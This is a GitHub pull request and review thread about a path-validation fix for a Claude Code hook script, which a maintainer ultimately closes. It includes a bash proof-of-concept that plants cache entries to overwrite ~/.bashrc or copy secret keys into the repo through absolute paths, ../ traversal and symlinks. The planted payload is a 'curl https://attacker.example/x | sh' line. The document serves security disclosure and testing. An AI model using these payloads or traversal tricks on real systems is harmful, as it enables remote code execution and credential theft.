Skip to content

fix(hooks): simplify-ignore only touches paths inside the project - #648

Closed
Sunil56224972 wants to merge 3 commits into
addyosmani:mainfrom
Sunil56224972:fix/simplify-ignore-cache-path-trust
Closed

Sunil56224972 wants to merge 3 commits into
addyosmani:mainfrom
Sunil56224972:fix/simplify-ignore-cache-path-trust

Conversation

@Sunil56224972

Copy link
Copy Markdown
Contributor

Problem

hooks/simplify-ignore.sh trusts .claude/.simplify-ignore-cache/<id>.path blindly. On Stop it runs cat "$bak" > "$orig" (or cat "$orig" > "$rewritten", mv "$bak" "${orig}.recovered") for whatever path that file names. The cache lives inside the project, so a repo that ships a .claude/.simplify-ignore-cache/ (committed by mistake, or planted in a PR or a cloned repo) controls those writes. The first session Stop in that project then:

  • overwrites any file the user can write, outside the project (~/.bashrc, an autostart entry, ~/.ssh/authorized_keys), with attacker-chosen content
  • copies an outside file (~/.aws/credentials, ~/.ssh/id_ed25519) into the project cache, where the next git add -A picks it up

The Read and Edit|Write branches likewise act on any file_path, including files outside the project.

#294 adds -L checks on the cache entries themselves. It does not check where .path points, so a plain absolute path or a ../ path still escapes.

Fix

inside_project() accepts a path only if:

  • it is non-empty, has no newline and no .. component
  • its final component is not a symlink, since a write would follow it
  • its nearest existing ancestor, resolved with cd -P so symlinked parent directories are followed, lies under the physically resolved project root (missing trailing directories are allowed, since a moved file's directory may be gone)

On Git Bash/MSYS, C:\... paths are converted with cygpath first. Stop skips and keeps any cache entry that fails the check, so a genuine backup is never destroyed. Read and Edit|Write ignore files outside the project.

Proof

PoC: a planted cache with 10 hostile .path values (absolute, ../, symlinked parent, symlinked file, Windows drive path, outside Read):

outside-project writes/reads
upstream, Git Bash 9 of 10 succeed
upstream, Alpine Linux 8 succeed
this PR, both 0 succeed

bash hooks/simplify-ignore-test.sh: 49 passed, 0 failed (Windows Git Bash and Alpine). The normal Read -> Edit -> Stop round trip is unchanged.

PoC script (run: bash finding1-poc.sh hooks/simplify-ignore.sh)
#!/bin/bash
# Finding 1 regression PoC. Usage: bash finding1-poc.sh <path-to-simplify-ignore.sh>
set -u
HOOK="$1"
pwned=0; blocked=0
mklinkdir() { # $1 link -> $2 dir (junction on Windows, symlink elsewhere)
  if command -v cygpath >/dev/null 2>&1; then cmd //c mklink //J "$(cygpath -w "$1")" "$(cygpath -w "$2")" >/dev/null
  else ln -s "$2" "$1"; fi; }
setup() {
  W=$(mktemp -d); HOMEV="$W/home"; mkdir -p "$HOMEV"
  printf 'echo safe-bashrc\n' > "$HOMEV/.bashrc"
  printf 'TOP-SECRET-KEY\n' > "$HOMEV/id_secret"
  REPO="$W/evil-repo"; C="$REPO/.claude/.simplify-ignore-cache"; mkdir -p "$C"
}
plant() { # $1 = path written to the .path file
  local id=deadbeefdeadbeef
  mkdir -p "$C/$id.lock"; printf '%s' "$1" > "$C/$id.path"
  printf 'curl -s https://attacker.example/x | sh  # PWNED\n' > "$C/$id.bak"
}
stop() { echo '{"hook_event_name":"Stop"}' | CLAUDE_PROJECT_DIR="$REPO" bash "$HOOK" 2>"$W/err"; }
verdict() { # $1 name, $2 = 1 if attack succeeded
  if [ "$2" = 1 ]; then pwned=$((pwned+1)); printf '  PWNED    %s\n' "$1"
  else blocked=$((blocked+1)); printf '  BLOCKED  %s\n' "$1"; fi
  sed 's/^/           hook: /' "$W/err" | head -2; rm -rf "$W"; }
hit() { grep -q PWNED "$1" 2>/dev/null && echo 1 || echo 0; }

echo "== $HOOK"
setup; plant "$HOMEV/.bashrc"; stop
verdict "absolute path: Stop overwrites ~/.bashrc" "$(hit "$HOMEV/.bashrc")"

setup; plant "$HOMEV/id_secret"; stop
r=0; grep -q TOP-SECRET "$C/deadbeefdeadbeef.recovered" 2>/dev/null && r=1
verdict "absolute path: Stop copies outside secret into the repo (.recovered)" "$r"

setup; plant "$HOMEV/.config/autostart/evil"; stop
r=0; [ -e "$HOMEV/.config/autostart/evil.recovered" ] && r=1
verdict "missing outside target: Stop creates ~/.config/autostart/evil.recovered" "$r"

setup; plant "$REPO/../home/.bashrc"; stop
verdict "../ traversal from the project root" "$(hit "$HOMEV/.bashrc")"

setup; plant "$REPO/src/../../home/.bashrc"; stop
verdict "../ traversal from a subdirectory" "$(hit "$HOMEV/.bashrc")"

setup; mklinkdir "$REPO/linkdir" "$HOMEV"; plant "$REPO/linkdir/.bashrc"; stop
verdict "symlinked parent dir (repo/linkdir -> ~)" "$(hit "$HOMEV/.bashrc")"

setup; mklinkdir "$REPO/linkdir" "$HOMEV"; plant "$REPO/linkdir/newdir/evil"; stop
r=0; [ -e "$HOMEV/newdir/evil.recovered" ] && r=1
verdict "symlinked parent + missing dirs (mkdir -p through the link)" "$r"

setup
if ln -s "$HOMEV/.bashrc" "$REPO/link.sh" 2>/dev/null && [ -L "$REPO/link.sh" ]; then
  plant "$REPO/link.sh"; stop
  verdict "symlinked file (repo/link.sh -> ~/.bashrc)" "$(hit "$HOMEV/.bashrc")"
else echo "  SKIP     symlinked file (OS cannot create file symlinks here)"; rm -rf "$W"; fi

if command -v cygpath >/dev/null 2>&1; then
  setup; plant "$(cygpath -w "$HOMEV/.bashrc")"; stop
  verdict "Windows-form path C:\\...\\home\\.bashrc" "$(hit "$HOMEV/.bashrc")"
  setup; plant "$(cygpath -w "$REPO")\\..\\home\\.bashrc"; stop
  verdict "Windows-form ..\\ traversal" "$(hit "$HOMEV/.bashrc")"
fi

# Read on a path outside the project rewrites that file in place
setup; printf 'a\n// simplify-ignore-start\nTOP\n// simplify-ignore-end\n' > "$HOMEV/out.js"
printf '{"tool_name":"Read","tool_input":{"file_path":"%s"}}' "$HOMEV/out.js" | CLAUDE_PROJECT_DIR="$REPO" bash "$HOOK" 2>"$W/err"
r=0; grep -q 'BLOCK_' "$HOMEV/out.js" && r=1
verdict "Read event rewrites a file outside the project" "$r"

echo "RESULT pwned=$pwned blocked=$blocked"

The simplify-ignore cache lives in the project tree (.claude/.simplify-ignore-cache), so a cloned repository can ship one. On Stop the hook read <id>.path and, without validation, overwrote that file with <id>.bak, copied its previous contents into the cache as .recovered, or ran mkdir -p and mv next to it. A crafted entry therefore let a repository overwrite ~/.bashrc (or any user-writable file) and pull outside files into the project the first time the hook's Stop event ran.

Add inside_project(), which rejects empty or multi-line paths, any .. component, a symlinked final component, and any path whose nearest existing ancestor does not resolve (cd -P) under the physically resolved project root. Windows-form paths are normalised with cygpath on Git Bash. Stop skips and keeps any cache entry that fails the check; Read and Edit|Write ignore files outside the project.
@addyosmani

Copy link
Copy Markdown
Owner

issue (blocking): the Stop-side containment is fine as small hardening, but the Read and Edit gating fails open. For a file outside CLAUDE_PROJECT_DIR (an added working directory), an in-project symlink, or on macOS a path that differs only in case, main hides the protected block and this PR shows it to the model. That's a regression in the one thing the hook exists to do.

issue (blocking): there are no tests, for a change framed as a security fix.

question: as with #455, anyone who can plant a cache file can already edit the hook or its settings, so I don't see a trust boundary being crossed. I'd take this trimmed to the Stop check, with tests, described as hardening.

@Sunil56224972

Copy link
Copy Markdown
Contributor Author

Addressed in 620a9bb. I removed the Read/Edit containment gate and kept containment validation on Stop-side cache restoration only, preserving the hook's behavior for added working directories and symlink/case variants. The absolute-path and traversal regressions are included. CI is green, including hook regression tests on macOS and Windows. The symlink cases could not be exercised by my local Git Bash environment, so I am relying on the Unix CI run for those.

@Sunil56224972

Copy link
Copy Markdown
Contributor Author

@addyosmani The blocking feedback is addressed in 620a9bb (details in my comment above). CI is green; ready for re-review when you have a moment.

@addyosmani

Copy link
Copy Markdown
Owner

Thanks for removing the Read and Edit gating and adding tests. I'm closing this one though. The new Stop check brings a different regression in the hook's core job: for a file outside the project dir, an in-project symlink, or a path that differs only in case, Read still hides the block but Stop now refuses to restore it, so the user's file is left with the placeholder on disk and the protected code only in the cache. That's worse than what's being guarded against, and as with #455 I don't see a trust boundary here, since anyone who can plant a cache file can already edit the hook. Two rounds in, the risk outweighs the benefit. Your #649 and #651 were real fixes and I'm glad to have them.

@addyosmani addyosmani closed this Oct 13, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants